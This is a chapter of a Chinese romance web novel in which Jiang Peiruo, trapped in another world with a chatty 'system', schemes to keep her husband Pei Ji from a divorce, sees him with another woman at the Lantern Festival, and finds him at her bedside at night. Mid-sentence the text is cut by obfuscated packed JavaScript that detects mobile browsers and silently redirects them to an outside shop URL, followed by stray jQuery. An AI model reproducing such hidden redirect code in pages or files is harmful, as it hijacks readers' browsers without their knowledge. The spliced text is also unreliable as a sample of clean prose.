可眼下江沛若除了这一个法子,并无他法可以归家,可江沛若不想拉下脸去找裴寂求和,毕竟一开始提出和离的就是江沛若。
马车逐渐驶进平稳路段,车内不再颠簸,江沛若扯了块饼塞进嘴里,木讷地嚼着饼子,双眼无神,整个人神游在如何处理这件事情的海洋里。
不管其他的,首先就要排除去求裴寂这个方法,那又有何法子,既能让江沛若颜面不用扫地,也能让裴寂自己不想和离。
人们常说一个人做出的决定常常出自于某种动力,那裴寂入赘江家的动力是什么呢?
马车在路上缓慢行驶,忽地压到块石头,江沛若在车里被晃得东倒西歪,手里面饼在地上滚了几圈后回到江沛若脚边,江沛若弓着腰去捡,手刚碰到面饼,刹那间,江沛若脑海里断了的桥梁忽地连接了起来。
裴寂入赘江家不就是为了查清楚十几年前的旧案吗?那如果非要找一个裴寂留在江家的办法,那就是牵扯到旧案,如若江沛若使出什么法子找出一些必须要在江家才能接触到的线索,再假意让裴寂发现。
那和离一事,都不用江沛若提出,裴寂自会想方设法让和离这一事作废。
可裴寂十几年都未能查出真相抓到证据,就凭江沛若这一点时间,真的可以找出来吗?江沛若撑着下巴陷入了沉思。
可眼下这便是最好的办法,江沛若伸了个懒腰,只好硬着头皮上了。
江沛若昏昏欲睡,上下眼皮不停打架,这段时间江沛若几乎没怎么睡觉,她掀起窗帘瞧了眼窗外的景色,眼下瞧着周围全是植被,并无人家,那离京城还有些距离。
江沛若放下帘子收回视线,枕着车窗打算睡一会儿。
——
江沛若是被一阵喧闹声吵醒的,不知不觉间马车已经驶入都城,华灯初上,一年一度的上元灯会如期而至,车帘不算遮光,火把光被渲染成绿红相间,灯光衬在江沛若脸上,勾勒出少女的轮廓。
江沛若掀起帘子一角,人群中一人玩着火把戏,火焰从口中喷射而出,引得旁人拍手称赞,江沛若觉得有些稀奇,此前只在电视上看到过如此景象,如今亲眼瞧见,才觉得如此有人间烟火。
空中飘着孔明灯,河边上有女子同自己的好友相约为伴,江自己的姓名同自己心爱男子写在纸船上,娇羞笑着放走。
江沛若跟着笑起来,另一处方向有人叫卖着年兽面罩,有几个稀奇样式江沛若未曾见过,伸出脑袋多看了几眼,收回视线时却瞥见一抹熟悉的身影。
一身黑袍,长发落在身后,身材挺拔修长,站在人群中央十分大眼,让人得以一眼瞧见,男人身边跟着一个姑娘,披着雪白的狐袍,脸颊带着粉红,面露羞涩,微微踮着脚尖朝着身旁的人说着什么。
好一对金童玉女,江沛若若是媒婆的话定回去促成这番婚事,可眼下江沛若有一种抓奸的感觉,因为那个身着黑袍旁边跟着一个女的,是她的已婚夫婿裴寂。
似是察觉到视线,裴寂忽然朝这边望过来,江沛若手忙脚乱地将帘子放下,过了会儿才掀起一条缝隙,可原本应在摊子前的一男一女却消失不见,江沛若眯起眼睛左右看了看,在人群中搜寻了许久才发现两人的身影。
距离实在是太远,江沛若什么也看不清,她收回身子,探头朝前面的马夫说:“再往前走些。”
马车在拥挤的人群中缓缓移动。
江沛若这次看清楚了,那女子手里面多了串糖葫芦,裴寂站在她身侧,满脸笑意地看向她。
江沛若攥着帘子的手越来越紧,帘子挤在一起,这个狗裴寂,平时对着她就是一副死鱼脸,对着外面的女人就如此温柔如水是吧?平时走路等都不等江沛若,现在还特意放慢步子等着人家。
更不解的是,这女子的容貌称得上是倾国倾城,怎么会看上裴寂,虽说裴寂长得也不差,可比这女子的脸可差太多了,真的是眼瞎了吗?
江沛若做出嘴角向下撇着做出阴阳怪气的表情,吐槽了裴寂一番心里痛快了不少。
【你想知道这个人是谁吗?】
谁?
【此人是杨家嫡女杨青青,都城最有钱的人家,话说她父亲权力大得很,就没有不知晓的事情。】
这样说江沛若就知道了,感情裴寂这是在找下家啊,这样江沛若在给他和离之后,他还可以靠杨家去找当年的证据,还真是会吃软饭啊,江沛若不禁给出这个评价。
这倒也不是什么很坏的评价,江沛若还是有些佩服裴寂的决心,这样出卖身体去换取线索,一般人还是做不到的,可这样对比起来,江沛若心里还是觉得有些不舒服,这裴寂和她扮演夫妻的时候一百个不愿意配合,现在倒好,一副贴心的样子。
两人相伴而走的样子着实有些刺眼,江沛若气愤地将帘子甩开,布料才空中左右乱晃,江沛若越看越心烦,干脆扭过身子看向别处。
【你吃醋了!!你吃醋了!!】
“怎么可能?!”江沛若争辩道,“我只是在着急,要是真的和离了,我该怎么回家好不好?!”
【解释就是在狡辩,狡辩就是在编故事,沛若宝宝,你就承认吧,你就是在吃醋!!!】
江沛若懒得再跟这蠢货系统胡扯,闭上眼睛强行把它关机。
可一闭上眼睛,眼前就浮现出两人走在一起的景象,裴寂这个人真的不识好歹,江沛若不知道救过多少次裴寂的性命,可裴寂对自己永远是恶语相向,这次不管能不能回去,江沛若都觉得这婚肯定是要离的,她就不行系统会一直把她困在这个世界。
如果真的要把她一直困在这里,江沛若还真就不行了,难道死了也不能回去,死了还是要在这里待一辈子,江沛若虽然没活够,但她的人生前几十年一直被人操
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775032|209185||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
控着,难道后几十年还要被人操控?
这样想着,马车不知不觉间已经驶进江又前给江沛若的别院内,青梅比江沛若早些归家,家中内务早已收拾妥当,此刻正站在马车前等江沛若下马车。
江沛若从马车里探出身子,站在车门口张望了一番才扶着青梅的手臂下车,此别院修建如此之久,说实话江沛若还是第一次瞧见庐山真面目,江又前一直说,这块府邸坐落于风水宝地。
江沛若瞧了眼四周的建筑,发现果真如此,此府邸位于都城北部,周围山水环绕,隐约还能听到后山传来的瀑布水流声,出门不远便是集市,既不掺杂市井吵闹,也不过于偏僻。
江又前对唯一的女儿江沛若真的是无话可说,好的不能再好,出嫁时侯给江沛若添置的东西卖掉足够江沛若和裴寂两个人后半辈子的生活。
说到裴寂,现如今她与裴寂还是夫妻关系,按理来说,裴寂今晚会就宿在府邸,可想起晚上裴寂与杨青青,也不知裴寂今晚是否会归家。
江沛若叹出一口气时连自己也没察觉,步子迈的又大又快,青梅小跑着追上去,皱着眉头问道:“小姐,需要给裴公子留门吗?
闻言,江沛若步子一顿,青梅险些撞上去,片刻之后江沛若又迈开步子潇洒离去,只给留在原地拍打胸口安慰自己的青梅留下一句话:“给他留门,他也配?!把大门缩了,连狗洞也给我堵上!”
屋内炭火烧得很旺,江沛若沐浴过后躺在床上,后颈的头发还未干透,她换了个姿势,横躺在床上,脑袋搭在床沿晾干头发,手上捧着本医术看得津津有味。
没过多久,困意爬上眼皮,江沛若吹灭烛光,钻进温暖的被窝,不得不说,上好的枕头就是不一样,江沛若感觉自己才碰到枕头一秒钟就睡着了。
半夜,妖风四起,外头竟落起了小雪,江沛若翻身的时候隐约瞥见窗外的雪花,这天气莫过于下大暴雨在家睡觉那种舒适,江沛若砸吧了下嘴,准备翻个身继续睡。
却没料这时在床边瞧见一个身影,江沛若本以为自己在做梦看错了,再看去时,那抹身影就消失不见了。
果然是做梦。
江沛若翻过身继续睡,但却总感觉有冷风吹到她脸上,江沛若迷迷糊糊地将被子扯高了些,只露出一个眼睛,可这冷气却不罢休地又朝她额头上吹。
江沛若烦躁极了,伸出手在空中挥舞了两下,试图驱赶走冷空气,但很快又因为惧怕寒冷缩回被窝。
又眯了会儿,江沛若突然反应过来,不太对啊,她不是把门窗都关紧了吗?怎么还会有冷风吹起来,她猛地睁开眼,眼前突然出现一张放大的脸。
江沛若尖叫起来,声音还未曾传到空气中,嘴便被人捂住,江沛若这才看清面前这人,是裴寂。
江沛若瞪大眼睛,声音闷闷的从裴寂手掌心中传出:“你有病吗?”